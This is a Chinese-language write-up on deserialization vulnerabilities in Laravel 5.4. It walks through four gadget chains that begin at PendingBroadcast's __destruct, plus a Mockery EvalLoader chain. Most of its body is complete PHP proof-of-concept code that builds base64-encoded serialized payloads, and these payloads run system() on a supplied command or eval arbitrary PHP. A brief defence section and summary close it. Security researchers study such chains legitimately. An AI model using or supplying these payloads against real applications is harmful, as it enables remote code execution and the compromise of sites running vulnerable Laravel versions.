Laravel5.4 反序列化漏洞挖掘
字数 1724 2025-08-05 11:39:35
Laravel 5.4 反序列化漏洞分析与利用
环境准备
- PHP版本: 7.3
- Laravel版本: 5.4.30
- 安装命令:
composer create-project --prefer-dist laravel/laravel laravel5.5 "5.4.*"
漏洞背景
Laravel 5.4存在多个反序列化漏洞点,主要通过__destruct()魔术方法触发,利用__call()魔术方法或dispatch()方法实现远程代码执行(RCE)。
漏洞分析
第一条利用链: 通过ChannelManager的__call方法
-
入口点:
PendingBroadcast.php中的__destruct()方法 -
利用思路:
- 控制
$this->events为ChannelManager对象 - 通过
__call()方法触发driver()方法 - 最终通过可变函数实现RCE
- 控制
-
关键代码路径:
Illuminate/Support/Manager.php中的driver()方法Illuminate/Notifications/ChannelManager.php中的getDefaultDriver()方法
-
PoC代码:
namespace Illuminate\Broadcasting {
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast {
protected $events;
public function __construct($cmd) {
$this->events = new ChannelManager($cmd);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Notifications {
class ChannelManager {
protected $app;
protected $defaultChannel;
protected $customCreators;
public function __construct($cmd) {
$this->app = $cmd;
$this->customCreators = ['jiang' => 'system'];
$this->defaultChannel = 'jiang';
}
}
}
第二条利用链: 通过Validator的__call方法
-
入口点: 同样通过
PendingBroadcast的__destruct() -
利用思路:
- 控制
$this->events为Validator对象 - 通过
__call()方法触发validate()方法 - 利用
$this->extensions数组实现RCE
- 控制
-
关键代码路径:
Illuminate/Validation/Validator.php中的__call()方法$this->extensions数组控制
-
PoC代码:
namespace Illuminate\Broadcasting {
use Illuminate\Validation\Validator;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($cmd) {
$this->events = new Validator();
$this->event = $cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Validation {
class Validator {
public $extensions = ['' => 'system'];
}
}
第三条利用链: 通过Dispatcher的dispatch方法
-
入口点:
PendingBroadcast的__destruct() -
利用思路:
- 控制
$this->events为Dispatcher对象 - 通过
dispatch()方法触发可变函数调用 - 利用
$this->listeners数组实现RCE
- 控制
-
关键代码路径:
Illuminate/Events/Dispatcher.php中的dispatch()方法getListeners()方法中的$this->listeners控制
-
PoC代码:
namespace Illuminate\Broadcasting {
use Illuminate\Events\Dispatcher;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($cmd) {
$this->events = new Dispatcher($cmd);
$this->event = $cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Illuminate\Events {
class Dispatcher {
protected $listeners;
public function __construct($event){
$this->listeners = [$event => ['system']];
}
}
}
第四条利用链: 通过Bus Dispatcher的dispatchToQueue方法
-
入口点:
PendingBroadcast的__destruct() -
利用思路:
- 控制
$this->events为Dispatcher对象 - 通过
dispatchToQueue()方法触发call_user_func - 利用
ShouldQueue接口实现RCE
- 控制
-
关键代码路径:
Illuminate/Bus/Dispatcher.php中的dispatch()方法dispatchToQueue()方法中的call_user_func
-
PoC代码:
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;
public function __construct(){
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
class BroadcastEvent {
public $connection;
public function __construct($cmd){
$this->connection = $cmd;
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($event){
$this->events = new Dispatcher();
$this->event = new BroadcastEvent($event);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
高级利用技巧
通过EvalLoader执行任意PHP代码
-
利用思路:
- 结合
Mockery\Loader\EvalLoader的load()方法 - 通过
MockDefinition的getCode()方法执行任意PHP代码
- 结合
-
PoC代码:
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher {
protected $queueResolver;
public function __construct(){
$this->queueResolver = [new EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent {
public $connection;
public function __construct($code){
$this->connection = new MockDefinition($code);
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($event){
$this->events = new Dispatcher();
$this->event = new BroadcastEvent($event);
}
}
echo base64_encode(serialize(new PendingBroadcast($argv[1])));
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Mockery\Generator {
use Illuminate\Session\Store;
class MockDefinition {
protected $config;
protected $code;
public function __construct($code){
$this->config = new Store();
$this->code = $code;
}
}
}
namespace Illuminate\Session {
class Store {
protected $name = 'jiang';
}
}
影响范围
这些反序列化漏洞在Laravel 5.4至5.8版本中都存在。
防御措施
- 避免反序列化用户可控的数据
- 升级到最新版本的Laravel框架
- 使用
__wakeup()或__destruct()方法时进行严格的安全检查
总结
本文详细分析了Laravel 5.4中的四个反序列化利用链,展示了如何通过不同的代码路径实现远程代码执行。这些漏洞的核心在于Laravel框架中魔术方法和动态调用的不安全使用,攻击者可以通过精心构造的序列化对象触发这些漏洞。